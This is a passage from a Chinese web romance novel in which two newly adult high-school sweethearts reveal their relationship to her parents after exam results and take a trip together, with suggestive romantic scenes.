女孩儿纤瘦白皙的手臂一点点往上，少年的校服也就随着上抬，沈方月偷偷低头去瞥，看见他清瘦的腰，可能是刚运动过，裴祈的腹肌轮廓明显，薄薄一层，随着他清浅的呼吸慢慢起伏。不显粗壮，是那种清爽干净的好看。 不是错觉，沈方月手指划着某道线条，脱口喃喃：“真的比之前的明显欸……” “承认吧，”裴祈嗓音慢悠悠地，“你之前就是故意过来偷看我。” 沈方月大惊，抬头否认：“胡说八道！我又不知道你当时没穿——” 话没说完，又被低头亲住了。 裴祈很慢地跟她接吻，少年因为被看、被审视、被批阅，耳根在黑暗中静悄悄地通红一片。沈方月都被亲得整个人都快靠到他身上了，手还像自己有意识似的游移，碰碰这摸摸那，眼见还要往上。 “差不多得了，沈方月。”裴祈冷不防笑一声，气息落在她唇齿里，模模糊糊道，“再摸真是性骚扰了。” “我只是想看看你有没有胸肌。”沈方月一本正经，“我再说一遍，女朋友摸男朋友天经地义——” “哦。那我摸你呢？也是天经地义？”裴祈随口反驳。 “……” 沈方月猫眼大睁，吓到似的看着他，不说话了。 裴祈说是这么说，手一直规规矩矩揽着她的腰。感觉到她微微僵硬的身体，裴祈叹气，刚想说逗你的。 “嗯！”沈方月视死如归地发出小小一声。 “嗯？” 裴祈一愣，还没分清是不是幻听，怀里的人踮起脚，仰面靠近他耳边，用气音说：“你，你……你可以摸。” “……” 心跳声比噼里啪啦的雨声还重。 其实裴祈早就感觉到了，沈方月半压在他身上，浸湿的白色校服下细腻柔软。沈方月是很爱美的，连内衣都要买鲜艳的淡色，前面有很浅的蕾丝花纹，好在山中校服布料实在，她又买得宽，只有在淋湿时才看得出来。 今天她穿的是淡黄色，裴祈一垂眼就看见，避免思想混乱，他低头就想找沈方月接吻。 “我摸了？”半晌，裴祈哑声说。 “……嗯！”沈方月闭上眼。 裴祈的手和她不一样，手指比她长，手掌也比她宽。少年炽热的手伸进校服，贴到她后腰上时，沈方月被烫得抖了一下，紧跟着后背一片片发麻。 她安静屏息，害怕，紧张，期待，兴奋。 沈方月腰很细。家里每天都好吃好喝地喂着，就是喂不胖，从小到大都漂亮匀称，此刻正在裴祈手心僵硬地紧绷着。 裴祈好笑地揉了两下，帮她放松。然后就把手撤了出来。 被碰到的地方微凉，沈方月眨眨眼，不确定地问：“摸，摸完啦？” “嗯。”裴祈直白轻哑，“摸多了收不住。” “……” 咔地一声，裴祈按开了墙边的灯。昏黄薄弱的灯光晃下来，两人脸色都红。 “沈方月，自己站会儿，别靠着了。” 沈方月腿还有点软。当然主要是裴祈身上暖和，靠着舒服，于是她下意识无理地驳回：“不要。” “谁跟你商量了？”裴祈气笑，“快点。” “……小气。”沈方月站直身，手恋恋不舍地从暖和的腹肌里起来，挪出衣服往下落时不小心隔着校裤碰到了什么东西。 裴祈很轻地抽了一口气。 沈方月愣了一下，低头，什么都还没看见就被捂住了眼睛。 都是成年人了，不会不明白是什么。两个人站着，都沉默了一会儿，最后是沈方月先开口。 “你——” “闭嘴，沈方月。” 沈方月心想怎么这么凶啊，轻咳一声：“我能不能——” “不能。” “女朋友看男朋友天经地——” “你要是对数学也能有这么好奇，别说燕科大，燕大你也能上。” “……” 沈方月刚想说跟你亲嘴没被毒死算我运气好，就听见几声急促的震动，裴祈拿起手机，接听。 没开扬声，但他们靠得太近，家里也安静，电话那头，沈舟山的声音一清二楚地传出来：“小祈，小月亮和你在一起没有？她一直没回我消息，电话也打不通！” 沈方月昨晚忘了充电，手机早自动关机了。 “在。”裴祈张口，发现声音有些哑，咳了一声，“在我旁边。” “哦哦，那就好。我看外面下雨了，要不要叔叔过去接你们回家？” “不用了，”可能因为刚做了点不太见得了家长的事，裴祈模糊道，“我们快到家了。” “行，那你让她直接回家，别去你家了——”沈舟山顿了一下，“啊，叔叔的意思是，我给她做了汤，让她快点回来趁热喝……你要不要也过来喝一碗？” “不用了，谢谢叔叔。”裴祈说，“我们马上到家。” 挂断电话，沈方月眼睛还被捂着。 “要捂多久啊！”她问。 一件干净外套盖到她头上，是裴祈平时挂在玄关衣架上的。他嗓音淡淡：“回去吧。” 裴祈说完，刚要给她开门，衣服被轻轻抓住。 “你要不要跟我一起回去？”沈方月慢吞吞地说，“喝汤，顺便，跟我爸妈说一下我们的事。” “我这样子过去，会被叔叔一脚踢出中国吧。” “……” “我可以等你几分钟——” “沈方月，你在看不起谁？”裴祈轻飘飘一哂，隔着外套亲密地拍拍她的脑袋，“下次吧，不能这么随便……” 至少要让他准备几套稿子吧。 虽然叶婉和沈舟山都是很和蔼温柔、随和开放的人，他自己应该，也不算差劲。但在关于沈方月的事情上，他还是习惯性地想要做到最稳妥。 “下次是什么时候？”沈方月不满道，“憋着真的很、难、受、欸。” 莫名其妙地，裴祈又有点想亲她。他想了想：“等你出分吧。” && 沈家客厅。 挂了电话，沈舟山一脸深沉地坐在沙发上，沉思半晌后说：“不对！” “什么？”叶婉躺在他旁边，脚挂在他身上，边在手提电脑上处理文件边问。 “刚才电话里很安静，不像是在室外或者公交车上！我再打一个回去看看！” 叶婉用脚趾很轻地蹭了他一下：“差不多得了，再打显得你很烦人。” “……” 沈舟山给老婆按着脚，又忍不住想起高考结束那天，两人抱了三分钟那一幕。 普通朋友真会抱这么长吗？ 也说不准，两个小孩儿又不是普通朋友，他们可是正儿八经一起长大的发小，青梅竹马，比普通朋友亲密一点好像也正常。 再说，两人虽然关系好，但每天都针锋相对的，一周有四天在拌嘴，说是青梅竹马，还不如说是一对冤家，怎么看都不太像是会发展出其他感情。 应该是他想多了吧。 沈舟山内心天人交战，听见一声响，紧跟着是咚咚咚地上楼声。 等他回头，沈方月已经消失在了楼梯里，留下一句：“爸妈我回来啦！我去洗澡了！” “慢点，别跑。”想是这么想，沈舟山还是忍不住试探了一句，“小月亮，爸爸煲了汤，你要不要给裴祈盛一点拿过去——” “不要！”沈方月的声音模模糊糊地传下来，“他现在没空喝。” “哦哦！行，那就咱们一家人喝。”沈舟山心放回去一半，窃喜。 嘿嘿，果然，连这么美味的汤都不愿意分一碗，他到底在瞎操什么心。 && 出分这天，6月23号早上9点半，沈方月房间电脑前齐刷刷地坐着四个人。 官方宣布的出分时间是10点，但会有提前出分的情况，于是他们八点就已经守在电脑前。 查分电话仍旧打不通，沈舟山放下手机，催道：“小月亮，你再刷新一次网页看看呢。” 沈方月按下F5，依旧提示网络繁忙。 叶婉起身：“算了，10点再刷吧，我去接个电话，大清早给我打三四个了，估计是公司有事儿。” “我们放轻松，别紧张啊小月亮。”沈舟山颤抖的手拍了拍沈方月的肩，也跟着站起来，“那我去给你们洗点水果，小祈也吃点吧。” 裴祈道：“谢谢叔叔。” 两人走后，沈方月后仰地靠到椅子上，已经被查分系统折磨疯了，拖长音调叫：“裴祈——” “嗯。” “我是不是快死了？我现在心跳好快。”她说，“和你在教室里突然亲我时一样快。” “不是。”裴祈道，“你现在不还活着？” “再刷不出来真要死了。”沈方月扭头看他，“你说我万一没考好——” “谁说自己考得超级好的。” “我这不是在说万一……” “没万一。”裴祈放下手机，朝她抬抬下巴，“再刷新一下试试，宋哲刷出来了。” 沈方月已经练成肌肉记忆了，脑袋还没反应过来，手指已经按下了F5。 页面转了几转，几个数字猝不及防地跳了出来。 沈方月呼吸差点停了，猛地一下闭上眼，心脏都要跳出喉咙！ 她颤抖地摸索着去抓裴祈的手，握得死紧，声音激动到虚浮：“裴祈，我我我，我多多多……多少？” “你，你你你——”裴祈模仿着她。 沈方月刚决定谋杀男朋友，就听见他笑着说，“637。” 沈方月是蹦着起来的。 她不敢置信地反复看了几遍电脑屏幕，脑袋都要宕机。大约呆了十几秒后：“啊啊啊啊！！！” 裴祈看着她尖叫、乱窜，然后猛地一下朝自己扑过来。 他轻车熟路地把她接住，双手托着她的腿，笑着还没来得及说什么，沈方月捧着他的脸，兴奋的亲吻已经落下来。是那种很纯粹，纯为了发泄情绪的，激动的吻，亲得嘴唇嘬嘬响。 两个人都太亢奋了，没人听见门外那道匆忙脆弱的脚步声。门啪地一声被撞开，有人举着一筐洗干净的水果着急忙慌地冲进来—— “怎么了怎么了出分了吗没关系小月亮不论分数如何你永远都是爸爸心目中的——啊啊啊啊啊啊啊啊啊！！！！” 第48章 第 48 章 爸！他才不是什么坏小子…… “我不同意！！！” 沈舟山的声音响彻客厅。 叶婉惊诧地看着他。天哪, 这是她第一次见自己老公这么大声说话。 “还有！你们坐这么近干什么！”沈舟山看着旁边沙发紧挨着的两人，急道，“小月亮你坐过来！” 早做好最坏的打算, 但发生之后还是心里一沉。 裴祈抿一下唇, 正要开口, 一个单薄瘦削的肩膀挡在他面前，反而又挨他近了一点。 沈方月：“你为什么不同意！” 沈舟山：“你说呢！你两都还是小孩儿, 你们怎么可以——” 怎么可以接吻！！！ 沈舟山刚才看见那一幕，有种世界崩塌的感觉，水果都摔了一地，又得知沈方月高考637分的事，一时喜怒交加, 都不知道该作什么反应, 只能无能狂叫。 “我们都成年了！高考成绩都出来了，怎么还是小孩呢！——妈，你说是不是！我现在玩你那几款游戏都不适用未成年退款了！” 叶婉本不想参与战争，闻言无语：“你非要在这时候提这事儿让我心烦是吗？” “你就是小孩儿！你在我们心中永远都是小孩！”沈舟山道。 “什么，爸，你是要我孤独终老吗？”沈方月不可置信。 沈舟山：“哪有这么夸张？我只是想你晚几年再谈感情的事, 你现在还太年轻了, 能懂什么呢？要我说，怎么也得像我和你妈一样到25岁再谈吧！” “那你和我妈要是30岁才谈的，我是不是也得等到30岁。”沈方月特别倔强地说, “我是沈方月, 又不是沈舟山！” “……” 这条路说不通，沈舟山话锋一转，口不择言：“那你也要找一个合适的吧, 怎么能找一个……找一个坏小子呢！” 叶婉更诧异了。裴祈这样的算是坏小子，我们小月亮又是什么呢？ 裴祈：“叔叔，我觉得我应该还不算是——” “爸！”沈方月回头就抱住裴祈的脖子，大为震惊地反驳，“他才不是什么坏小子呢！” 沈舟山：“……” 不是你自己小时候说的吗？每天出门输给裴祈八百场游戏，回来哭着跟自己告状，说隔壁的裴祈就是个坏小子，说以后再也不要跟他玩了。 然后第二天还去。 还穿着漂亮的小裙子！！！ 沈舟山头疼欲裂，决定跟讲道理的说：“小月亮，你先不说话，让我跟小祈……不是，跟裴祈聊两句。” 裴祈：“叔叔您问——” “我为什么不能说话！”沈方月手臂横在他们之间，不可思议，“爸，这是我自己的事情欸，我当然要说话！” “……” 沈方月和沈舟山你一句，我一句，到最后都把沈舟山聊笑了。 气笑的。裴祈太熟悉了，在和沈方月的交流里，他不知道这样笑过多少次。 沈方月肩膀就这么薄，根本挡不住他。但自坐下来起，她就一直横在他前面，像一块小巧却坚硬的盾，不让沈舟山任何一句话砸到他身上来。 裴祈沉默地吞咽了好几次，那股浓重的情绪才被他按捺下去。她没有食言，从小到大，她永远都站在他这一边。 凭什么呢？他总是忍不住想，裴祈凭什么让沈方月这么护着？ 裴祈想不通，所以不论什么事他都努力做到最好。这样会显得裴祈的优点多一点，沈方月偏爱他的理由，应该也会多一点。 他听见自己的心脏扑通扑通，像是为沈方月在跳动。 手表上弹出分贝过高的提示，叶婉出声：“行了，先别吵了……” 沈舟山：“你看他天天借着教你学习的由头骗你去他家，这还不是坏小子吗！” 沈方月：“爸，你的思想出问题啦！开学后我们真的只是在学习！” 沈舟山：“什么？怎么还有个开学后的限定词啊？那开学前呢……” 叶婉深吸一口气，喝道：“都给我闭嘴！！！” 真正的一家之主终于发声，父女两登时噤声。 安静了，耳朵终于舒服了。 叶婉站起身：“小祈。” 裴祈立刻跟着站起来：“阿姨。” “你们什么时候谈的？” “高三上学期，接近期末的时候。” 叶婉点点头。还行，不算太早，要是初中那会儿，那就没得谈了。她偏头示意：“跟我进一趟书房？” “好。” 沈方月立刻起身：“那我也一起——” 沈舟山：“我也——” “那我还进书房干什么？我直接在这拿个麦克风讲得了啊。”叶婉横他们一眼，“你俩都给我在这呆着。” 沈方月还想挣扎，被裴祈勾了一下手指头。 “没事。”裴祈低声道，“坐这等我。” 沈方月小声道：“……那你要是有什么事就喊一声暗号，我会马上冲进去救你的。” 裴祈：“暗号是什么？” 沈方月：“沈方月天下第一大美女。” 裴祈：“算了，说不来这么违心的话，真有事也别管我了。” 沈方月：“爸，我想了一下，你说得对，他就是个坏小子，我现在就跟他分手！” 沈舟山：“……” 再把脆弱的老父亲当做你们Play的一环试试呢？ …… 叶婉和裴祈两个人进了书房，剩父女两坐在沙发上大眼瞪小眼。 沈舟山第一次对女儿大声，他推了推眼镜，叹气，刚要说什么，沈方月已经走到他身边坐下来，像以往那样亲密地挽住了他的胳膊。 一看就知道她要干什么。 但这么严肃的问题，怎么撒娇都是没用的。沈舟山刚想严肃表明自己的态度，就见沈方月双手合十，噘嘴耷眼，眉毛都撇成了可怜的八字，声音细弱地哀求他。 “爸爸，求你啦，就让我们在一起吧，我真的超级、超级、超级喜欢他。” “拜托拜托。” “……” 沈舟山对着天花板做了一个好长的深呼吸，艰难地坚守底线：“没用的。就算我同意，你妈也不会答应的！” “——你这就答应啦？！？！” 沈舟山站在阳台，不敢置信地问自己老婆。 五分钟前，叶婉从书房出来，只说了一句“你们谈恋爱归谈恋爱，别影响正事，大学四年也要好好学，别耽误”，就在沈方月的欢呼声走去阳台抽烟了。 叶婉终于忍不住提醒他：“老公，现在是自由恋爱，我们同意了他们就正常谈，我们不同意，他们也会偷偷谈。” “而且小祈怎么了？他在我们眼皮底下长大的，什么人品你也知道，样样都是拔尖儿的了。” 沈舟山不服：“那怎么了，我们小月亮也是拔尖儿的啊。” 叶婉点头：“所以这不挺好的？” “……” 夜风吹拂，沈舟山冷静下来，也没刚才那么想不开了。 但心里还是痛，这么可爱漂亮的女儿，任谁来了在沈舟山心里都是一头拱白菜的猪：“你们刚才说什么了？” 其实没说什么。只是提醒他，这一时的悸动会不会是高三压力大，或是他们相互陪伴太久了，产生出来的错觉？万一以后吵架或是遇到更喜欢的，闹起来，可就连从小一起长大的情谊都没有了。 裴祈说，真吵架了我会让着她，我不会有更喜欢的了。 叶婉毫不留情，问，如果是她遇见更喜欢的呢？ 裴祈说，那我再想办法当朋友吧。阿姨，抱歉，我这一辈子都会想办法留在她身边的。 眼神坚定，说的话却挺吓人的。但又因为知道裴祈不会做任何伤害沈方月的事，叶婉听完，反倒有些感慨。 落地窗内，沈方月和裴祈坐在餐桌上吃沈舟山冷脸煮的宵夜。 他们肩膀抵在一起，看同一部手机，应该是在和同学们讨论成绩。沈方月敲字时表情骄傲，得意洋洋的。裴祈支着脸，任由她用自己的手机，沈方月偶尔吹牛大了，他就会冷冷淡淡地嗤笑一声。 “天啊，老公。”叶婉夹着女士烟安静地看了一会儿，靠着沈舟山说，“他们要是真能走到最后，那就是在一起了一辈子呢。” “……” 沈舟山不愿意接受事实地偏开脸，不情愿又无可奈何：“真到一辈子再说吧！” && 沈舟山虽然勉强同意了这门恋爱，但还是有点脾气的。具体表现在，他现在叫裴祈都连名带姓地叫，再也没喊过亲切的“小祈”了。 还总是板着张脸让沈方月别老是往裴祈家里跑：“去也可以，不许拉窗帘！我要时时刻刻看见你们！” 沈方月已读不听：“爸，你这是侵犯隐私，裴祈可以告你的。” “好哇，他有本事就告我啊，不是我话没说完呢你就走——把这盆小番茄给裴祈带去，他喜欢……不是，我们吃不完，放着也是浪费。” 七月中旬，沈方月收到了北科大的录取通知书。 沈舟山笑得眼睛都看不见了，给通知书拍了一模一样的九宫格，发在朋友圈，收获编辑的催更：【一舟渡一山老师，求求您了！写点吧！】 有点扫兴。沈舟山放下手机，转头就看见他的宝贝女儿双手合十，一脸期盼地看着他。 沈方月满眼星星：“爸爸，我考上这——么厉害的大学，是不是应该得到一点小小小小的奖励呢？” 沈舟山：“小月亮，你现在就是想要世界和平，爸爸都能马上去把美国给铲了。” “裴祈马上要过生日啦，我想和他去旅行——” “不同意！”沈舟山拍桌，“坚决不同意！！！！！” …… “我爸宁愿去铲美国，都不愿意让我们去旅行。” 在去往云沪的飞机上，裴祈听沈方月说完这段故事，脑袋很难得地有一点木。 “所以，”他礼貌询问，“我们现在是在？” 飞机上闲着无事，旁边的乘客都在闭眼休息。 沈方月凑到他耳边，激动又害羞地用气声说：“私、奔。” “……” 裴祈被荒谬得发笑，一边觉得开心到快要爆炸，一边无语地想，沈方月，能不能别再带着我得罪你爸了，我真的还想和你结婚。 第49章 第 49 章 太好啦！这个平行时空里…… 说是私奔其实也不准确, 因为这件事情只有一人被蒙在鼓里。 叶婉是赞同她出去旅行的，囚徒似的在学校里关了这么多年，好不容易被放出这广阔天地, 就该到处走走。 飞机下午三点落地, 两人把行李搬到酒店, 第一时间打电话给家长报平安。 木已成舟，沈舟山只能做最后挣扎：“订了几间房？！” “两间！”沈方月答得飞快。 沈舟山哼一声, 让她把电话给裴祈，不舍得骂女儿，只能骂别人了。裴祈也没辩解，明明这趟出行计划他也是今早才知道的。 “您说得对，叔叔。” “这事是我做的不合适。” “嗯, 我一定看好她。” …… 挂了电话, 回头看见沈方月坐在另一张床边盯着他，一脸羡慕地说：“什么时候你也能这样给我认错？” “下辈子吧。”裴祈把手机扔回她手里，“另间房是几号？” “哪有另间房？” “……” 刚才拿房间的时候裴祈在回消息，没注意，但进屋就发现不对了。因为这是间双床房。 “我们还是学生，别这么奢靡。”沈方月反过来教育他。 “沈方月, 有没有点危机意识。”裴祈挑眉。 沈方月当然有, 但他是裴祈。 而且，他们本来就是男女朋友。别说双床房，就是大床房也不是很过分……吧。 “干嘛。”沈方月盯着他, 装出惊恐, “你难道想对我——” 话没说完就被裴祈捂住了嘴，凉凉道：“别做梦了。” “……” 说不出话，沈方月恶狠狠地蹬了一下他的腿。 沈方月订的这间酒店位于一条狭窄热闹的街道边, 规模不大，房间放下两张单人床就差不多快满了。裴祈左右环视，在找块能同时敞开两个行李箱的地儿。 沈方月看出他的想法：“不用打开，拿今天换洗的衣服出来就好了，这里我们就住一晚上。” “之后住哪。” “秘密。”沈方月神秘兮兮，她看了一眼时间，猛地站起来，“快快快，我们要出发了，再晚点天就要黑啦！” 裴祈都没来得及问去哪，就到达了他们的目的地。 从酒店下楼，沿着梧桐树荫走到十字路口，再右转，便看见一座高耸威严的校门建筑，门外放着一块巨大的景观石，雕刻着一行大字——云沪财经大学。 是高三寒假，裴祈打算放弃保送时，按着沈方月当时的成绩为她规划的大学之一。裴祈为自己安排的云沪大学也在不远处，步行15分钟就能到，他当时特意用手机地图查过。 怪不得这么热闹，原来这一片是大学街。 虽然这会儿没开学，但还是有不少留校生，街边全是小吃奶茶店，烟雾伴随着香气飘遍整条街道。 才逛了两步，裴祈手上就已经多了一份煎饼果子，一份烤面筋，和一杯零卡糖果汁。 “都这样了。”裴祈举了举自己满满当当的手，没什么表情道，“还有必要零卡糖？” “你别管。”沈方月脸颊被煎饼果子撑得鼓鼓的，说话含糊，“哇，我之前就在网上看别人说云沪财大校门口的小吃街一绝，没想到是真的。” “可惜云沪财大现在已经高攀不上我了。”她望着不远处的校门，吃得油光粼粼的嘴胡言乱语，“它失去了一位美女新生，真为它感到遗——哎，你干嘛。” 两只手都没空，裴祈手臂很轻地箍着她脖子，揽着她往前走：“别吹牛了沈方月，旁边那几人都是财大的，不怕别人把你挂学校论坛去？” “哦哦。”沈方月加快脚步，“那快走。” 这趟旅程，沈方月原本想直奔主题去给裴祈过生日的，但来都来了，她还是提前在网上搜了云沪旅游攻略，搜到了财大这条小吃街。 如果当年她退缩了，气馁了，那她过一个月或许就会来这里报道，然后跟裴祈一起在这座城市生活四年甚至更久。 这么一想，沈方月就莫名其妙地想要过来看看。 他们后来又去了云大。沈方月这次收敛了，四处张望地凑到裴祈耳边，小声地用气音说：“——还是燕大好。” 裴祈在收尾她吃剩的小吃，被一嘴科技刺激得没脾气，闻言淡淡道：“废话。” “那你当初还要为了我放弃燕大，”她语调苦恼，又装得不好，得意都要从声音里溢出来，“唉，你这么爱我，会让我觉得很沉重欸。” “……” 裴祈抬手，用煎饼果子堵住了她的嘴。 当晚，回到酒店，裴祈一打开微信就刷到沈方月的朋友圈。 配图两张照片，是他们下午在财大和云大门口的合影，沈方月随机摇路人帮忙拍的。 照片里沈方月靠着他，眼睛笑成月牙儿，他手捧几桶街边小吃，因为吃麻了，笑得很冷淡—— [笨蛋：太好啦！这个平行时空里的沈方月和裴祈也很快乐！（转圈圈）] 沈方月总是会冒出一些无厘头的念头，裴祈早就习惯。但看见这句话，他还是很荒谬地跟着沈方月的思维走，同样无厘头地想。 太好了，这个平行时空里的裴祈同样拥有沈方月。 && “我去洗澡了！” 趴着回了半小时消息的沈方月满意地从床上蹦起来。 不想被发现自己的手机还停留在她的朋友圈，以免她又一脸得意地说沉重。裴祈不动声色地快速滑动关闭，冷冷淡淡嗯一声，终于愿意分出一点时间去回这半小时收到的消息。毕业后5班那群男生就像脱缰野狗，成天不是在约游戏就是在约球。 浴室水声哗哗，裴祈回完消息，不经意地抬眼，然后微微僵住。 这件酒店开业多年，虽然干净，但装潢老旧，其中不乏一些古早难言的设计。 几步外，浴室的磨砂落地窗模模糊糊地显露出里面的景色，一道窈窕纤细的黑色身影，水滴滴答答地从沈方月摊开的掌心指缝里砸落在地面。 “……” 裴祈只扫了一秒就匆匆撇开，仓皇地看向另一边。 水声还在响，沈方月甚至小声地哼起了歌，轻轻柔柔地找不到调，慢吞吞地扰人心烦。 裴祈盯着灰色窗户，眼前却还晃过刚才看见的画面。 哪怕只是模糊的一片黑，也看得出女孩儿的腰似乎都比别人修长，细窄一寸，其余地方又都饱满。她一边膝盖微曲地站在水里，半垂着脖颈在清洗后背，像漂泊在湖面上的漂亮天鹅。 心闷气躁，仿佛在洗热水澡的是他。裴祈坐在沙发上，僵硬地绷了一会儿，从敞开的行李箱里随意拿了一件干净衣服盖到自己脸上，自暴自弃地听起沈方月唱歌。 …… 洗完澡，沈方月神清气爽地跨出浴室。一阵风从面前拂过，她还愣着，浴室的门已经又被重新关上，因用了力，还发出一声闷闷地“嘭”。 很少见这么慌忙的裴祈，沈方月还保持着用毛巾擦脸颊的动作，敲门：“你要不要等下再洗？地板好湿，我还没来得及擦呢。” 没回音。 沈方月走到床边，把换洗衣服整齐地叠进行李箱：“噢，还是你着急上厕所？” “那怎么没催我，我还在里面擦了脸。” “洗面奶放在里面，我大发善心，允许你也可以用一下。” 怎么一直不回答？有没有礼貌呀。 沈方月抬头，刚想控诉，透过落地窗影影绰绰地看见散漫抱臂，一动不动靠在盥洗台前的少年。 “你怎么站着不——”沈方月脑袋一懵。 不对。 我为什么能看见裴祈？？？ 房间里陷入死寂的沉默。 许久，裴祈终于有了动作。只见浴室里那道懒散的黑影慢悠悠地站直身，单手拉起衣尾，随即，另只手去碰墙上开关。 咔地一声，浴室灯灭，磨砂玻璃失去功效。 && 裴祈在黑暗中走进水里，冰凉淋了一脸，终于冷静下来。 身边的磨砂玻璃冷不防被敲了两下，沈方月的声音幽幽传进来：“裴祈！你凭什么关灯！” “……” “开灯！我要看！！！” “……” 裴祈看向近在咫尺的玻璃：“沈方月，你是变态吗。” “你才是变态，你，你……”沈方月说，“你都把我看光了！” “我没有。” “你有。”沈方月面红耳赤，“我还洗了这么久，你都没有提醒我。” “……” 裴祈当时整张脸闷在衣服里，脑中默背微积分，哪顾得上这个。 “快点，公平交换！”沈方月敲玻璃，“我又不是没看过。” “不可能。”裴祈声音发紧，想也不想地拒绝。这怎么给她看？没法看。 “小气。我要跟你绝——”沈方月大喊，“分手！我要跟你分手！！！” …… 沈方月似乎是真生气了。 自裴祈从浴室出来，她就整个人窝在被子里，裴祈没事找事地找她说了两句话，问她喝不喝水、玩不玩手游之类，都没得到回答。 裴祈甚至怀疑她睡着了。夜市有街头歌手，可能是什么直播大网红，歌声低沉动听，沈方月听完整场才肯回酒店，这会儿已经快12点了。 很快这个怀疑就被打消，裴祈刚看完时间，半天没动的被子里突然伸出一只手，把房间总开关给摁掉了。 房间陷入黑暗。裴祈半倚在床头没动。 绝交是常事，沈方月不理他也是常事，但分手是不是过分了点。 …… 反正现在能见人，真好奇，给她看算了。 裴祈在微弱的地灯光里默默拉低自己的底线，半晌，他偏头，刚想开口，被子忽然被掀开，紧跟着，黑暗里晃出一点光。 裴祈今年第一个蛋糕是楼下小吃街的蛋堡，上面插着不知道从哪弄来的小蜡烛。 原来过12点了。 半个多小时没吱声的沈方月面无表情地举着蛋堡，在黑暗里摸索着朝他靠过来，坐下，一只脚很不文雅礼貌地曲放在他床上，在烛火里直勾勾地看着他。 两人沉默地僵持了一会儿。 裴祈喉结轻滚，淡淡问：“歌呢。” “你惹我生气，所以被我取消了。”沈方月无情道。 “哦。” 裴祈吹灭蜡烛，房间里又陷入昏暗，少年眼睛黑亮：“那能给个吻吗。” “……” 沈方月一副真拿你没办法的表情，俯下身，趴在他身上跟他接吻。她穿的短袖睡衣，单薄的花边粗吊带，隔着厚被都仿佛能感知到软。裴祈手臂虚虚撑在她腰边，拦着，以防她摔下去，正亲得滚烫，沈方月忽然往后退了一点。 “裴祈。”她喘息着小声喊。 “嗯。” “你是不是看过很多片？”她终于问出口。 “……” “你每次亲嘴，都，”沈方月形容不出来，只能用手指对着自己的嘴，转圈比划，“好色呀……” 能有你色？裴祈说：“没看过。” “我们都这么熟了，你跟我坦白也没关系，我不会笑话你的。” “真没。” “我不信，上次我还看见钟震他们在发呢。” 某次沈方月用裴祈手机玩游戏的时候，收到群艾特。点开一看，钟震在男生小群里分享了见不得人的文件包，文件名还叫：【一周一次，心旷神怡】。 “不看那些，封面都辣眼睛。”裴祈淡淡道。 “噢，”沈方月又好奇了，“那你都看什么。” “都不看。” “嗯嗯，”沈方月阴阳怪气，“你靠竞赛卷子就能心旷神怡。” “……真不看，不是非要看，”裴祈嗓音懒洋洋的，“靠想也可以。” “想什么？” 裴祈抬眼，有点无奈，直白坦荡地看着她：“你。” 第50章 第 50 章 啊，你果然是变态。…… 一时间两人都没说话, 地灯熄灭，漆黑一片。房间里只听得见喘急的呼吸和两人砰砰砰地心跳。 他们是第一次正面聊这些成人话题，情窦初开的年纪, 接个吻都意乱神迷, 对这方面都好奇渴望又害怕。黑夜中, 两人眼睛星亮，带着浓厚的试探和暧昧。 沈方月觉得自己脸蛋快要烧冒烟了。 什么意思？ 裴祈一直都想着她, 那什么吗？ 天呀…… “我就说你是变态吧。”良久，沈方月小声说。 裴祈哂笑，就知道说出来她又占上风。少年笑得冷淡，眼尾青涩地瞥到另一边又收回来，想问那你的腿能不能从变态身上下去？ 还未张口, 身上的人先动了。沈方月伸手比作麦克风, 递到他嘴边。 “坦白从宽抗拒从严。”沈方月审犯人似的，眼里害羞兴奋又期待，“从你第一次想着我——那什么，开始说吧！” “……” “行。”裴祈手臂绕到脑袋后支着，“我想想。” 没想到他这么坦诚，沈方月眼睛都亮了。他们还保持着刚才接吻的动作, 趴在他胸膛上点头：“嗯嗯！” “第一次, 高一的时候。” “啊。” “啊什么？”裴祈瞥她。 啊，你果然是变态。 沈方月摇头，一手作笔一手作纸, 一副在做笔录的模样：“你继续说。” “那晚夜深人静, 月黑风高，”裴祈嗓音慢悠悠地，每个字都拖腔拿调, 像回忆，“我躺上床。” “——然后闭上眼，想到你。你那时刚参加完高一文艺晚会，穿了条白裙子上台唱歌。” “当时你前两个节目是其他班的话剧，《罗密欧与朱丽叶》，你看完把眼睛哭肿了，妆也花了，求我去给你买冰块，最后敷了也没用，还是肿得像猪头。” 沈方月：“？” “然后你就这么上去了，前两句就破了三个音。” “？” “当然没哭前你唱得也一般……那之后，每次想浪费时间做那些，就会想想你，然后就冷静了——嘶。沈方月，轻点。” 手臂被人狠狠掐了一道，裴祈闷笑地躲。沈方月气得噘嘴，是真有点不高兴了，突然有一点点后悔和裴祈一起长大——她什么丑样他都见过！！ 掐了两下觉得没意思，沈方月偏开头要起来，被裴祈牵住手腕。 “骗你的。”看出她的情绪，裴祈不逗她了。少年嗓音干涩，带着淡淡笑意，“……那晚就是想着你做了。” “……”沈方月说，“骗人，我那天哭得这么丑。” “不丑。” “骗人。” 她声音还是闷闷的，裴祈很低地吐了一口气，耳朵滚烫：“我当时就是想着你哭的样子做的。” “……” 沈方月不说他骗人了，兜兜转转又回到最初的那句：“变态。” 她又默默地趴回去，再次掏出“纸笔”：“好了，你接着说吧。” “……” 裴祈觉得自己可能真的是疯了，所以才会陪疯了的沈方月在这鼻子抵着鼻子，数他自己的变态“罪状”。 没细说，但也被逼着说了几次。越说嗓音越哑，喉咙发紧，沈方月的声音也越来越小。 敷衍地又讲完一件，裴祈吞咽了下：“差不多行了……” “其实我，也，”身上的人小声道，“有过。” “……” “……” 裴祈呼吸又重一点，淡淡问：“想着我？” “……我也不知道算不算。就是上次摸完你，觉得……难受。洗澡的时候……”沈方月心脏跳在喉咙，说不下去了。 “……” 两人无声地对视几秒，几乎同时偏头朝对方靠去。 跟刚才青涩缓慢的吻不同，这次他们都吻得急重，深夜的小旅馆里是暧昧纠缠的舔舐声。被子不知被谁掀开，他们之间只隔着两条单薄的布料，下面都是滚烫的体温。裴祈半直起身，沈方月坐在他腿上，搂着他的脖子，被亲得头晕脑胀。 少年的手终于没那么规矩，克制隐忍地掐在她身侧，两只手指埋在她衣尾，陷进她白嫩的腰肉里。 这段时间一直硬撑着的理智摇摇晃晃，裴祈吮着她的唇，询问刚到嘴边，手忽然被抓住。 纤细的手指轻抖地握着他的手腕，颤颤悠悠地，把他的手往睡衣里牵。 …… 沈方月总是忍不住留意裴祈的手。 骨节分明，手指修长，这让他连平时转笔都显得赏心悦目。 手掌比同龄人都宽大，篮球也能轻轻松松握在手里。 她看了这么多次，没想到有朝一日，这双手会毫无顾忌地厮磨在她皮肤上，一点一点地燃起火苗。 